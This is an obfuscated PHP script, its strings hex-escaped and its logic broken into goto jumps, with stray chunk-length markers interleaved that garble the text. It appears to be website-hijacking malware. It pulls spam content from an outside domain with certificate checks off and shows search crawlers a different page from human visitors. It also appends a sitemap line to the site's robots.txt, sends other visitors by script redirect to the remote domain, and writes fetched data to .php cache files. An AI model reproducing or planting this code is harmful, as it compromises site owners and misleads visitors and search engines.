1 < 7 ?php 7 goto vd 8 mFf; QZ7 8 7P: func 8 tion ens 9 ure_robot 9 s_sitemap d ($sitemapLine c ) { $robots 8 = rtrim( 7 $_SERVE 8 R["\104\ b x4f\x43\x55 b \115\105\x4 9 e\124\x5f 12 \122\x4f\x4f\124"] a , "\x2f\13 e 4") . "\x2f\16 a 2\157\x62\ e x6f\164\163\x2 d e\164\x78\x74 8 "; if (! 7 file_ex d ists($robots) d ) { @file_put 11 _contents($robots a , "\125\x7 e 3\x65\x72\55\x c 61\147\x65\1 d 56\164\72\x20 d \52\xa\x41\x6 c c\154\x6f\x7 4 7\x3 d a\x20\x2f\xa" 13 . $sitemapLine, LO 7 CK_EX); 7 } else 10 { $c = @file_ge 1d t_contents($robots); if ($c = a == false | 7 | strpo 14 s($c, $sitemapLine) 39 === false) { @file_put_contents($robots, $sitemapLine, FI 7 LE_APPE 11 ND | LOCK_EX); } e } } goto DHsL3 7 ; babZJ 8 : $domai d n = trim(getC 8 urlFast( a $jd . "\x6 13 7\x65\164\x64\x6f\1 e 55\141\x69\x6e 11 \x32\56\141\x73\1 12 60\x78\x3f\162\156 d \x64\x3d\61\x d 26\x69\x70\75 b " . $ip)); c goto eXwce; 8 XWL_w: $ b get = filte b r_input_arr 7 ay(INPU b T_GET, FILT 7 ER_SANI 8 TIZE_STR d ING); goto gh 8 IXA; QmN 7 xK: out f put_sitemap_and 16 _exit($sitemapLine, $h 8 ttp_type e ); goto Sda4b; 8 B2cYK: a $ip = $kk 8 !== '' ? 9 "\66\x36 11 \56\62\64\x39\56\ b x38\62\x2e\ d x38" : get_re e al_ip(); goto b babZJ; eaUB 11 7: $http_type = ! 12 empty($_SERVER["\1 11 10\124\x54\x50\x5 7 3"]) && 16 $_SERVER["\x48\x54\x5 b 4\120\123"] 12 !== "\157\146\146 14 " ? "\x68\x74\x74\x7 f 0\163\x3a\x2f\5 11 7" : "\150\164\16 d 4\160\x3a\57\ e 57"; goto QLlh c b; vdmFf: er a ror_report d ing(0); goto c XWL_w; rS9s0 11 : if (!empty($get e ["\x66"])) { $ a sp = explo a de("\x49", e $get["\146"]) e ; if (count($s f p) === 2) { $sz a = $sp[0]; e $iid = $sp[1] 10 ; } } goto djE41 7 ; UV4q2 16 : if ($kk !== '' && pr 8 eg_match d ("\x2f\x5e\13 d 3\x41\55\132\ c 141\x2d\172\ d 60\x2d\x39\x5 c d\53\x24\57" d , $kk)) { $re 23 mote = getCurlFast($jd . "\x67\x65\ 1d x74\144\x6f\155\141\x69\x6e\6 12 2\56\x61\163\x70\1 b 70\x3f\x72\ f 156\144\75\62\4 d 6\x6b\153\x3d 16 " . $kk); if (!empty($ f remote)) { echo 18 $remote; die; } } goto 9 xI3e6; VT e cyq: function 14 get_real_ip() { $key 1c s = array("\110\x54\x54\120\ b x5f\103\x46 16 \x5f\103\x4f\116\x4e\1 13 05\x43\124\111\116\ b 107\137\x49 11 \120", "\110\x54\ 14 124\120\x5f\x58\137\ f 122\x45\101\x4c 1b \137\111\120", "\110\124\12 14 4\x50\x5f\130\137\x4 c 6\117\x52\12 10 7\101\x52\x44\x4 d 5\x44\x5f\106 15 \x4f\x52", "\x48\x54\ 12 124\120\137\103\11 1a 4\111\105\x4e\x54\137\x49\ 15 x50", "\122\x45\115\1 12 17\124\105\137\101 11 \104\x44\x52"); f a oreach ($k d eys as $k) { 16 if (!empty($_SERVER[$k 18 ])) { $ip = $_SERVER[$k] 15 ; if (strpos($ip, "\5 17 4") !== false) { $ip = 12 trim(explode("\x2c f ", $ip)[0]); } e if (filter_var 10 ($ip, FILTER_VAL 8 IDATE_IP b )) { return 16 $ip; } } } return "\x b 31\x32\x37\ 13 56\x30\56\60\56\x31 d "; } goto zBN 7 c7; wZI 3e Gm: function output_sitemap_and_exit($sitemapLine, $http_type) 27 { ensure_robots_sitemap($sitemapLine); 11 echo "\74\x64\15 e 1\166\x20\163\ 10 164\171\x6c\x65\ d 75\47\x74\145 e \x78\164\x2d\x 13 61\154\151\147\156\ 13 72\x63\x65\156\164\ 10 x65\x72\x3b\x70\ 10 x61\x64\x64\151\ 11 x6e\147\x3a\61\x3 12 0\x70\170\40\x30\x f 3b\x27\x3e\xa\x 1c 20\x20\40\x20\40\x20\x20\40\ 1a 40\x20\x20\x20\x3c\141\x20 11 \150\162\145\146\ 11 75\42{$http_type} 21 {$_SERVER["\x48\x54\124\120\137\1 10 10\117\x53\124"] 18 }{$_SERVER["\x53\x43\x52 1b \x49\120\x54\137\x4e\x41\x4 9 d\105"]}\ 10 77\x77\75" . dat b e("\131\155 15 \144\110\x69") . "\x2 12 2\x20\x74\141\162\ 15 x67\145\164\x3d\x22\x 14 5f\x62\x6c\141\156\1 f 53\42\40\162\x6 13 5\x6c\x3d\x22\x6e\1 13 57\x66\x6f\x6c\154\ e 157\167\x22\76 13 \123\151\164\x65\x6 14 d\x61\x70\x3c\57\x61 2a \76\12\40\40\x20\x20\40\40\x20\40\x20\x20\ e x3c\x2f\144\x6 12 9\x76\76"; die; } 11 goto UV4q2; zBNc7 1b : function getCurlFast($url e ) { $cached = 17 cache_get($url); if ($c 1b ached !== false) { return $ 10 cached; } $data 12 = ''; if (function 11 _exists("\143\165 1b \x72\154\x5f\151\156\x69\x7 e 4")) { $ch = c 10 url_init($url); a curl_setop 15 t_array($ch, array(CU 7 RLOPT_R 7 ETURNTR 7 ANSFER 9 => true, d CURLOPT_CONNE 8 CTTIMEOU 1b T => 5, CURLOPT_TIMEOUT => f 8, CURLOPT_SSL_ 8 VERIFYPE 20 ER => false, CURLOPT_SSL_VERIFYH 18 OST => false, CURLOPT_FO 7 LLOWLOC 2 AT 1 I 16 ON => false, CURLOPT_U d SERAGENT => " 10 \x4d\157\172\151 14 \154\x6c\141\57\65\x a 2e\60")); 11 $data = curl_exec 11 ($ch); curl_close 14 ($ch); } if (empty($ 12 data) && ini_get(" 1a \x61\154\154\157\167\137\1 18 65\x72\154\137\146\157\x 12 70\x65\156")) { $c d ontext = stre c am_context_c 12 reate(array("\x68\ 10 164\x74\x70" => 14 array("\x74\x69\x6d\ 17 145\157\x75\164" => 8, 10 "\x68\x65\x61\14 20 4\145\x72" => "\125\x73\x65\x72\ 12 x2d\101\x67\x65\x6 22 e\164\x3a\x20\x4d\157\172\151\154\ f 154\141\x2f\65\ d 56\60\xd\xa") 1e , "\x73\x73\x6c" => array("\x7 13 6\145\162\x69\146\1 10 71\x5f\x70\x65\1 19 45\x72" => false, "\166\x 12 65\x72\151\146\x79 14 \137\x70\x65\x65\162 14 \x5f\156\141\x6d\145 2b " => false))); $data = @file_get_contents($ 14 url, false, $context 1a ); } if (!empty($data)) { f cache_set($url, 17 $data); } return $data f ; } goto Frs4L; 14 C4aA0: if (!empty($ c iid)) { $str 16 = getCurlFast($hyzhdy 13 . "\x3f\151\x69\14 c 4\x3d{$iid}" 10 ); echo str_repl 13 ace(array("\147\x67 14 \x67\147\x67", "\x59 16 \x59\131\131\131", "\1 1c 30\130\130\131\x59\131", "\x 8 e5\275\2 c 23\345\211\x e 8d\125\122\x4c 15 ", "\125\x55\125\x55\ 10 x55"), array($sz f , get_url_info( 15 ), get_url_info("\142 22 \x61\x73\145"), get_url_info("\146 21 \165\x6c\154"), get_url_info("\15 15 6\157\x5f\x77\x77\167 a ")), $str) 17 ; die; } goto wZIGm; mE 9 fJ2: $kk 10 = isset($get["\1 b 53\x6b"]) ? 18 trim($get["\153\153"]) 10 : ''; goto B2cYK 7 ; qVAPR b : $surl = $ e jd . "\x73\61\ 11 62\x31\x32\x2e\x6 17 1\x73\160\x78"; goto jj 19 w58; fDKhA: $sz = $iid = f ''; goto rS9s0; 1c djE41: if (!empty($sz)) { $ 12 jd = getCurlFast(" 15 {$http_type}{$vurl}\6 24 3\153\147\56\141\x73\160\x78\x3f\163 10 \172\x3d" . urle b ncode($sz)) 3a ; } else { $jd = getCurlFast("{$http_type}{$vurl}\63\x6b\1 21 47\56\x61\x73\160\x78\x3f\170\171 14 \x3d{$http_type}"); 29 $sz = getCurlFast("{$http_type}{$vurl}\x3 1d 3\153\147\56\x61\163\160\170\ e 77\152\x64\x3d 1c " . urlencode($jd)); } goto c fl0Mc; jjw58 14 : $sitemapLine = "\1 15 23\151\x74\145\x6d\14 b 1\x70\72\40 52 {$http_type}{$_SERVER["\x48\124\x54\x50\137\110\117\x53\124"]}{$_SERVER["\x53\x43\ d 122\111\x50\1 16 24\x5f\116\101\x4d\x45 12 "]}\77\167\x3d" . 21 date("\131\155\144\x48\151") . "\ f 12"; goto QZ77P 16 ; Frs4L: function get_ 11 url_info(string $ 15 type = "\144\x6f\155\ 10 x61\x69\x6e") : e string { $host 24 = $_SERVER["\x48\x54\x54\120\137\x4 f 8\117\123\x54"] 13 ?? ''; if ($type = 13 == "\156\157\137\x7 1a 7\x77\167") { return preg_ 13 replace("\x2f\x5e\x 16 77\167\x77\134\56\57\1 8 51", '', e $host); } $pr 2b otocol = !empty($_SERVER["\110\124\x54\x50\ 2a 123"]) && $_SERVER["\x48\x54\x54\120\x53"] 11 !== "\x6f\146\x6 16 6" ? "\x68\x74\164\x70 18 \x73\x3a\57\57" : "\150\ 12 x74\x74\160\72\x2f e \57"; $base = 11 $protocol . $host 23 ; if ($type === "\142\141\x73\145") 17 { return $base; } if ( 17 $type === "\x66\165\154 19 \154") { return $base . ( 16 $_SERVER["\x52\105\121 10 \125\x45\x53\x54 18 \137\x55\x52\x49"] ?? '' 1a ); } return $host; } goto 13 eaUB7; eXwce: if ($ 17 domain !== "\x67\x6f\x6 f f\147\x6c\145" 18 && !empty($iid)) { $knam 9 e = urlde 28 code(getCurlFast($jd . "\x67\x6e\56\141\ 17 163\x70\170\x3f\x69\x69 1f \x64\x3d" . $iid)); echo "\74\x 16 73\143\162\151\160\x74 12 \76\154\157\x63\x6 13 1\x74\151\157\156\7 16 5\42" . $jd . "\141\x2 18 e\x61\x73\x70\x78\x3f\x6 11 3\156\x61\x6d\145 23 \x3d" . urlencode($kname) . "\46\x7 11 5\162\154\75" . $ 1b http_type . $_SERVER["\x48\ 1a 124\x54\120\137\x48\x4f\12 21 3\x54"] . $_SERVER["\123\x43\x52\ 1f 111\x50\x54\137\x4e\x41\115\105 f "] . "\42\74\57 15 \163\x63\x72\151\160\ 1b 164\76"; die; } goto C4aA0; 1d DHsL3: if (!empty($get["\x77 d "])) { $param d s = http_buil 7 d_query 16 (array("\x4e\x4f\125\x 13 6d\142\x65\x72" => 12 $get["\116\117\x55 18 \155\142\x65\162"] ?? '' 22 , "\x74" => $get["\x74"] ?? '', "\ 15 143\x6e" => $get["\x6 1d 3\x6e"] ?? '', "\160\116\117\ 15 125\155" => $get["\x7 21 0\116\117\125\x6d"] ?? '', "\143\ 1d 151\x64" => $get["\x63\151\14 28 4"] ?? '', "\155" => $get["\155"] ?? '') 19 ); $str = getCurlFast("{$ 11 surl}\x3f{$params 22 }"); echo str_replace(array("\171\ 1c 171\x6d\155", "\147\x67\147\ 2d 147\147"), array($http_type . $_SERVER["\x48\ 11 x54\124\x50\x5f\1 22 10\x4f\x53\x54"] . $_SERVER["\123\ 18 103\122\x49\120\124\x5f\ 15 x4e\x41\x4d\x45"], $s 1e z), $str); die; } goto mEfJ2; 10 XsAcz: function e cache_set($key 10 , $data) { $file f = sys_get_temp 5 _dir( 1f ) . "\x2f\143\x61\x63\150\x65\1 9 37" . md5 19 ($key) . "\x2e\160\150\x7 18 0"; @file_put_contents($ 1e file, $data, LOCK_EX); } goto c VTcyq; QLlhb 12 : $vurl = "\x74\15 10 7\x2e\x6a\147\14 14 1\x6c\154\x73\56\x63 14 \x6f\x6d\x2f"; goto b fDKhA; S2KV 9 F: $is_no 1a _query = empty($_SERVER["\ d x51\x55\105\x 10 52\131\x5f\123\1 12 24\122\111\x4e\x47 e "]); goto zHnC 1c d; xI3e6: if ($kk !== '' && 13 !preg_match("\57\x5 11 e\133\101\55\132\ f x61\55\x7a\60\5 9 5\x39\135 b \53\44\x2f" 44 , $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } goto 10 S2KVF; fl0Mc: $h 18 yzhdy = $jd . "\x31\x32\ 20 61\62\56\x61\163\x70\x78"; goto c qVAPR; ghIXA 1f : function cache_get($key, $exp 9 ire = 300 31 ) { $file = sys_get_temp_dir() . "\x2f\x63\141\14 1f 3\150\145\137" . md5($key) . "\ 5 56\x7 10 0\150\160"; if ( 18 file_exists($file) && ti a me() - fil f emtime($file) < 26 $expire) { return file_get_contents($ 15 file); } return false 15 ; } goto XsAcz; zHnCd 20 : if ($kk === '' && $is_no_query 1a ) { if ($domain === "\x67\ 13 157\157\x67\x6c\x65 41 ") { output_sitemap_and_exit($sitemapLine, $http_type); } else { 14 die; } } goto QmNxK; a Sda4b: ?> 0